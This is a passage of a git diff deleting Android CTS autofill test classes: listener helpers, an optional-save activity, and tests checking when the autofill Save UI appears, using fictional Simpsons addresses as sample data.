-        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) on DatePicker %s", FILL_TIMEOUT.ms(), name)
-            .that(set).isTrue();
-        assertWithMessage("Wrong year on DatePicker %s", name)
-            .that(datePicker.getYear()).isEqualTo(expectedYear);
-        assertWithMessage("Wrong month on DatePicker %s", name)
-            .that(datePicker.getMonth()).isEqualTo(expectedMonth);
-        assertWithMessage("Wrong day on DatePicker %s", name)
-            .that(datePicker.getDayOfMonth()).isEqualTo(expectedDay);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeRadioGroupListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeRadioGroupListener.java
deleted file mode 100644
index 73ed648..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OneTimeRadioGroupListener.java
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.widget.RadioGroup;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@link android.widget.RadioGroup.OnCheckedChangeListener} used to assert an
- * {@link RadioGroup} was auto-filled properly.
- */
-final class OneTimeRadioGroupListener implements RadioGroup.OnCheckedChangeListener {
-    private final String name;
-    private final CountDownLatch latch = new CountDownLatch(1);
-    private final RadioGroup radioGroup;
-    private final int expected;
-
-    OneTimeRadioGroupListener(String name, RadioGroup radioGroup, int expectedAutoFilledValue) {
-        this.name = name;
-        this.radioGroup = radioGroup;
-        this.expected = expectedAutoFilledValue;
-    }
-
-    @Override
-    public void onCheckedChanged(RadioGroup group, int checkedId) {
-        latch.countDown();
-    }
-
-    void assertAutoFilled() throws Exception {
-        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) on RadioGroup %s", FILL_TIMEOUT.ms(), name)
-            .that(set).isTrue();
-        final int actual = radioGroup.getCheckedRadioButtonId();
-        assertWithMessage("Wrong auto-fill value on RadioGroup %s", name)
-            .that(actual).isEqualTo(expected);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeSpinnerListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeSpinnerListener.java
deleted file mode 100644
index 5fb5973..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OneTimeSpinnerListener.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.view.View;
-import android.widget.AdapterView;
-import android.widget.AdapterView.OnItemSelectedListener;
-import android.widget.Spinner;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@link OnItemSelectedListener} used to assert an {@link Spinner} was auto-filled properly.
- */
-final class OneTimeSpinnerListener implements OnItemSelectedListener {
-    private final String name;
-    private final CountDownLatch latch = new CountDownLatch(1);
-    private final Spinner spinner;
-    private final int expected;
-
-    OneTimeSpinnerListener(String name, Spinner spinner, int expectedAutoFilledValue) {
-        this.name = name;
-        this.spinner = spinner;
-        this.expected = expectedAutoFilledValue;
-    }
-
-    void assertAutoFilled() throws Exception {
-        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) on Spinner %s", FILL_TIMEOUT.ms(), name)
-            .that(set).isTrue();
-        final int actual = spinner.getSelectedItemPosition();
-        assertWithMessage("Wrong auto-fill value on Spinner %s", name)
-            .that(actual).isEqualTo(expected);
-    }
-
-    @Override
-    public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
-        latch.countDown();
-    }
-
-    @Override
-    public void onNothingSelected(AdapterView<?> parent) {
-        latch.countDown();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeTextWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeTextWatcher.java
deleted file mode 100644
index db20c43..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OneTimeTextWatcher.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.text.TextWatcher;
-import android.widget.EditText;
-
-/**
- * Custom {@link TextWatcher} used to assert a {@link EditText} was auto-filled properly.
- */
-final class OneTimeTextWatcher extends MultipleTimesTextWatcher {
-
-    OneTimeTextWatcher(String name, EditText editText, CharSequence expectedAutofillValue) {
-        super(name, 1, editText, expectedAutofillValue);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
deleted file mode 100644
index 561b727..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
+++ /dev/null
@@ -1,167 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Intent;
-import android.os.Bundle;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.widget.Button;
-import android.widget.EditText;
-
-import androidx.annotation.Nullable;
-
-/**
- * Activity that has the following fields:
- *
- * <ul>
- *   <li>Address 1 EditText (id: address1)
- *   <li>Address 2 EditText (id: address2)
- *   <li>City EditText (id: city)
- *   <li>Favorite Color EditText (id: favorite_color)
- *   <li>Clear Button
- *   <li>SaveButton
- * </ul>
- *
- * <p>It's used to test auto-fill Save when not all fields are required.
- */
-public class OptionalSaveActivity extends AbstractAutoFillActivity {
-
-    static final String ID_ADDRESS1 = "address1";
-    static final String ID_ADDRESS2 = "address2";
-    static final String ID_CITY = "city";
-    static final String ID_FAVORITE_COLOR = "favorite_color";
-
-    EditText mAddress1;
-    EditText mAddress2;
-    EditText mCity;
-    EditText mFavoriteColor;
-    private Button mSaveButton;
-    private Button mClearButton;
-    private FillExpectation mExpectation;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.optional_save_activity);
-
-        mAddress1 = (EditText) findViewById(R.id.address1);
-        mAddress2 = (EditText) findViewById(R.id.address2);
-        mCity = (EditText) findViewById(R.id.city);
-        mFavoriteColor = (EditText) findViewById(R.id.favorite_color);
-        mSaveButton = (Button) findViewById(R.id.save);
-        mClearButton = (Button) findViewById(R.id.clear);
-        mSaveButton.setOnClickListener(new OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                save();
-            }
-        });
-        mClearButton.setOnClickListener(new OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                resetFields();
-            }
-        });
-    }
-
-    /**
-     * Resets the values of the input fields.
-     */
-    private void resetFields() {
-        mAddress1.setText("");
-        mAddress2.setText("");
-        mCity.setText("");
-        mFavoriteColor.setText("");
-    }
-
-    /**
-     * Emulates a save action.
-     */
-    void save() {
-        final Intent intent = new Intent(this, WelcomeActivity.class);
-        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "Saved and sounded, please come again!");
-
-        startActivity(intent);
-        finish();
-    }
-
-    /**
-     * Sets the expectation for an auto-fill request, so it can be asserted through
-     * {@link #assertAutoFilled()} later.
-     */
-    void expectAutoFill(@Nullable String address1, @Nullable String address2, @Nullable String city,
-            @Nullable String favColor) {
-        mExpectation = new FillExpectation(address1, address2, city, favColor);
-        if (address1 != null) {
-            mAddress1.addTextChangedListener(mExpectation.address1Watcher);
-        }
-        if (address2 != null) {
-            mAddress2.addTextChangedListener(mExpectation.address2Watcher);
-        }
-        if (city != null) {
-            mCity.addTextChangedListener(mExpectation.cityWatcher);
-        }
-        if (favColor != null) {
-            mFavoriteColor.addTextChangedListener(mExpectation.favoriteColorWatcher);
-        }
-    }
-
-    /**
-     * Asserts the activity was auto-filled with the values passed to
-     * {@link #expectAutoFill(String, String, String, String)}.
-     */
-    void assertAutoFilled() throws Exception {
-        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
-        if (mExpectation.address1Watcher != null) {
-            mExpectation.address1Watcher.assertAutoFilled();
-        }
-        if (mExpectation.address2Watcher != null) {
-            mExpectation.address2Watcher.assertAutoFilled();
-        }
-        if (mExpectation.cityWatcher != null) {
-            mExpectation.cityWatcher.assertAutoFilled();
-        }
-        if (mExpectation.favoriteColorWatcher != null) {
-            mExpectation.favoriteColorWatcher.assertAutoFilled();
-        }
-    }
-
-    /**
-     * Holder for the expected auto-fill values.
-     */
-    private final class FillExpectation {
-        private final OneTimeTextWatcher address1Watcher;
-        private final OneTimeTextWatcher address2Watcher;
-        private final OneTimeTextWatcher cityWatcher;
-        private final OneTimeTextWatcher favoriteColorWatcher;
-
-        private FillExpectation(@Nullable String address1, @Nullable String address2,
-                @Nullable String city, @Nullable String favColor) {
-            address1Watcher = address1 == null ? null
-                    : new OneTimeTextWatcher("address1", mAddress1, address1);
-            address2Watcher = address2 == null ? null
-                    : new OneTimeTextWatcher("address2", mAddress2, address2);
-            cityWatcher = city == null ? null : new OneTimeTextWatcher("city", mCity, city);
-            favoriteColorWatcher = favColor == null ? null
-                    : new OneTimeTextWatcher("favColor", mFavoriteColor, favColor);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
deleted file mode 100644
index fb4f49d..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
+++ /dev/null
@@ -1,768 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.OptionalSaveActivity.ID_ADDRESS1;
-import static android.autofillservice.cts.OptionalSaveActivity.ID_ADDRESS2;
-import static android.autofillservice.cts.OptionalSaveActivity.ID_CITY;
-import static android.autofillservice.cts.OptionalSaveActivity.ID_FAVORITE_COLOR;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.platform.test.annotations.AppModeFull;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import org.junit.Test;
-
-/**
- * Test case for an activity that contains 4 fields, but the service is only interested in 2-3 of
- * them for Save:
- *
- * <ul>
- *   <li>Address 1: required
- *   <li>Address 2: required
- *   <li>City: optional
- *   <li>Favorite Color: don't care - LOL
- * </ul>
- */
-@AppModeFull(reason = "Service-specific test")
-public class OptionalSaveActivityTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<OptionalSaveActivity> {
-
-    private static final boolean EXPECT_NO_SAVE_UI = false;
-    private static final boolean EXPECT_SAVE_UI = true;
-
-    private OptionalSaveActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<OptionalSaveActivity> getActivityRule() {
-        return new AutofillActivityTestRule<OptionalSaveActivity>(OptionalSaveActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    /**
-     * Creates a standard builder common to all tests.
-     */
-    private CannedFillResponse.Builder newResponseBuilder() {
-        return new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_CITY)
-                .setOptionalSavableIds(ID_ADDRESS2);
-    }
-
-    @Test
-    public void testNoAutofillSaveAll() throws Exception {
-        noAutofillSaveOnChangeTest(() -> {
-            mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
-            mActivity.mAddress2.setText("Simpsons House"); // not required
-            mActivity.mCity.setText("Springfield"); // required
-            mActivity.mFavoriteColor.setText("Yellow"); // lol
-        }, (s) -> {
-            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1), "742 Evergreen Terrace");
-            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Simpsons House");
-            assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
-            assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Yellow");
-        });
-    }
-
-    @Test
-    public void testNoAutofillSaveRequiredOnly() throws Exception {
-        noAutofillSaveOnChangeTest(() -> {
-            mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
-            mActivity.mCity.setText("Springfield"); // required
-        }, (s) -> {
-            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1), "742 Evergreen Terrace");
-            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "");
-            assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
-            assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "");
-        });
-    }
-
-    /**
-     * Tests the scenario where the service didn't have any data to autofill, and the user filled
-     * all fields, even the favorite color (LOL).
-     */
-    private void noAutofillSaveOnChangeTest(Runnable changes, Visitor<AssistStructure> assertions)
-            throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(newResponseBuilder().build());
-
-        // Trigger auto-fill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started.
-        sReplier.getNextFillRequest();
-
-        // Manually fill fields...
-        mActivity.syncRunOnUiThread(changes);
-
-        // ...then tap save.
-        mActivity.save();
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
-
-        // Assert value of fields
-        assertions.visit(saveRequest.structure);
-    }
-
-    @Test
-    public void testNoAutofillFirstRequiredFieldMissing() throws Exception {
-        noAutofillNoChangeNoSaveTest(() -> {
-            // address1 is missing
-            mActivity.mAddress2.setText("Simpsons House"); // not required
-            mActivity.mCity.setText("Springfield"); // required
-            mActivity.mFavoriteColor.setText("Yellow"); // lol
-        });
-    }
-
-    @Test
-    public void testNoAutofillSecondRequiredFieldMissing() throws Exception {
-        noAutofillNoChangeNoSaveTest(() -> {
-            mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
-            mActivity.mAddress2.setText("Simpsons House"); // not required
-            // city is missing
-            mActivity.mFavoriteColor.setText("Yellow"); // lol
-        });
-    }
-
-    /**
-     * Tests the scenario where the service didn't have any data to autofill, and the user filled
-     * didn't fill all required changes.
-     */
-    private void noAutofillNoChangeNoSaveTest(Runnable changes) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(newResponseBuilder().build());
-
-        // Trigger auto-fill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started.
-        sReplier.getNextFillRequest();
-
-        // Manually fill fields...
-        mActivity.syncRunOnUiThread(changes);
-
-        // ...then tap save.
-        mActivity.save();
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
-    }
-
-    @Test
-    public void testAutofillAllChangedAllSaveAll() throws Exception {
-        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
-                "Shelbyville", "Lemon");
-        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
-                // Initial dataset
-                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                .setField(ID_CITY, "Shelbyville")
-                .setField(ID_FAVORITE_COLOR, "Lemon"),
-                // Changes
-                () -> {
-                    mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
-                    mActivity.mAddress2.setText("Simpsons House"); // not required
-                    mActivity.mCity.setText("Springfield"); // required
-                    mActivity.mFavoriteColor.setText("Yellow"); // lol
-                }, (s) -> {
-                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
-                            "742 Evergreen Terrace");
-                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Simpsons House");
-                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
-                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Yellow");
-                });
-    }
-
-    @Test
-    public void testAutofillAllChangedFirstRequiredSaveAll() throws Exception {
-        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
-                "Shelbyville", "Lemon");
-        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
-                // Initial dataset
-                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                .setField(ID_CITY, "Shelbyville")
-                .setField(ID_FAVORITE_COLOR, "Lemon"),
-                // Changes
-                () -> {
-                    mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
-                },
-                // Final state
-                (s) -> {
-                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
-                            "742 Evergreen Terrace");
-                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Shelbyville Bluffs");
-                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Shelbyville");
-                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Lemon");
-                });
-    }
-
-    @Test
-    public void testAutofillAllChangedSecondRequiredSaveAll() throws Exception {
-        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
-                "Shelbyville", "Lemon");
-        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
-                // Initial dataset
-                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                .setField(ID_CITY, "Shelbyville")
-                .setField(ID_FAVORITE_COLOR, "Lemon"),
-                // Changes
-                () -> {
-                    mActivity.mCity.setText("Springfield"); // required
-                },
-                // Final state
-                (s) -> {
-                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
-                            "Shelbyville Nuclear Power Plant");
-                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Shelbyville Bluffs");
-                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
-                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Lemon");
-                });
-    }
-
-    @Test
-    public void testAutofillAllChangedOptionalSaveAll() throws Exception {
-        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
-                "Shelbyville", "Lemon");
-        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
-                // Initial dataset
-                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                .setField(ID_CITY, "Shelbyville")
-                .setField(ID_FAVORITE_COLOR, "Lemon"),
-                // Changes
-                () -> {
-                    mActivity.mAddress2.setText("Simpsons House"); // not required
-                },
-                // Final state
-                (s) -> {
-                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
-                            "Shelbyville Nuclear Power Plant");
-                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Simpsons House");
-                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Shelbyville");
-                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Lemon");
-                });
-    }
-
-    /**
-     * Tests the scenario where the service autofilled the activity but the user changed fields
-     * that triggered Save.
-     */
-    private void autofillAndSaveOnChangeTest(CannedDataset.Builder dataset, Runnable changes,
-            Visitor<AssistStructure> assertions) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(newResponseBuilder()
-                .addDataset(dataset.setPresentation(createPresentation("Da Dataset")).build())
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.syncRunOnUiThread(() -> { mActivity.mAddress1.requestFocus(); });
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started.
-        sReplier.getNextFillRequest();
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Da Dataset");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Manually fill fields...
-        mActivity.syncRunOnUiThread(changes);
-
-        // ...then tap save.
-        mActivity.save();
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
-
-        // Assert value of fields
-        assertions.visit(saveRequest.structure);
-    }
-
-    @Test
-    public void testAutofillAllChangedIgnored() throws Exception {
-        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
-                "Shelbyville", "Lemon");
-        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
-                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                .setField(ID_CITY, "Shelbyville")
-                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
-                    mActivity.mFavoriteColor.setText("Yellow"); // lol
-                });
-    }
-
-    @Test
-    public void testAutofillAllFirstRequiredChangedToEmpty() throws Exception {
-        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
-                "Shelbyville", "Lemon");
-        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
-                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                .setField(ID_CITY, "Shelbyville")
-                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
-                    mActivity.mAddress1.setText("");
-                });
-    }
-
-    @Test
-    public void testAutofillAllSecondRequiredChangedToNull() throws Exception {
-        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
-                "Shelbyville", "Lemon");
-        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
-                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                .setField(ID_CITY, "Shelbyville")
-                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
-                    mActivity.mCity.setText(null);
-                });
-    }
-
-    @Test
-    public void testAutofillAllFirstRequiredChangedBackToInitialState() throws Exception {
-        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
-                "Shelbyville", "Lemon");
-        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
-                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                .setField(ID_CITY, "Shelbyville")
-                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
-                    mActivity.mAddress1.setText("I'm different");
-                    mActivity.mAddress1.setText("Shelbyville Nuclear Power Plant");
-                });
-    }
-
-    /**
-     * Tests the scenario where the service autofilled the activity and the user changed fields,
-     * but it did not triggered Save.
-     */
-    private void autofillNoChangeNoSaveTest(CannedDataset.Builder dataset, Runnable changes)
-            throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(newResponseBuilder()
-                .addDataset(dataset.setPresentation(createPresentation("Da Dataset")).build())
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started.
-        sReplier.getNextFillRequest();
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Da Dataset");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Manually fill fields...
-        mActivity.syncRunOnUiThread(changes);
-
-        // ...then tap save.
-        mActivity.save();
-
-        // Assert the snack bar is not shown.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
-    }
-
-    @Test
-    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_oneDatasetAllRequiredFields()
-            throws Exception {
-        saveWhenUserFilledDatasetFields(
-                new String[] {ID_ADDRESS1, ID_ADDRESS2},
-                null,
-                () -> {
-                    mActivity.mAddress1.setText("742 Evergreen Terrace");
-                    mActivity.mAddress2.setText("Simpsons House");
-                },
-                EXPECT_NO_SAVE_UI,
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SF"))
-                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                    .setField(ID_ADDRESS2, "Simpsons House")
-                    .build()
-        );
-    }
-
-    @Test
-    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_oneDatasetRequiredAndOptionalFields()
-            throws Exception {
-        saveWhenUserFilledDatasetFields(
-                new String[] {ID_ADDRESS1},
-                new String[] {ID_ADDRESS2},
-                () -> {
-                    mActivity.mAddress1.setText("742 Evergreen Terrace");
-                    mActivity.mAddress2.setText("Simpsons House");
-                },
-                EXPECT_NO_SAVE_UI,
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SF"))
-                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                    .setField(ID_ADDRESS2, "Simpsons House")
-                    .build()
-        );
-    }
-
-    @Test
-    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_multipleDatasetsDataOnFirst()
-            throws Exception {
-        saveWhenUserFilledDatasetFields(
-                new String[] {ID_ADDRESS1},
-                new String[] {ID_ADDRESS2},
-                () -> {
-                    mActivity.mAddress1.setText("742 Evergreen Terrace");
-                    mActivity.mAddress2.setText("Simpsons House");
-                },
-                EXPECT_NO_SAVE_UI,
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SF"))
-                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                    .setField(ID_ADDRESS2, "Simpsons House")
-                    .build(),
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SV"))
-                    .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                    .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                    .build()
-        );
-    }
-
-    @Test
-    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_multipleDatasetsDataOnSecond()
-            throws Exception {
-        saveWhenUserFilledDatasetFields(
-                new String[] {ID_ADDRESS1},
-                new String[] {ID_ADDRESS2},
-                () -> {
-                    mActivity.mAddress1.setText("Shelbyville Nuclear Power Plant");
-                    mActivity.mAddress2.setText("Shelbyville Bluffs");
-                },
-                EXPECT_NO_SAVE_UI,
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SF"))
-                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                    .setField(ID_ADDRESS2, "Simpsons House")
-                    .build(),
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SV"))
-                    .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                    .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                    .build()
-        );
-    }
-
-    @Test
-    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_requiredOnly()
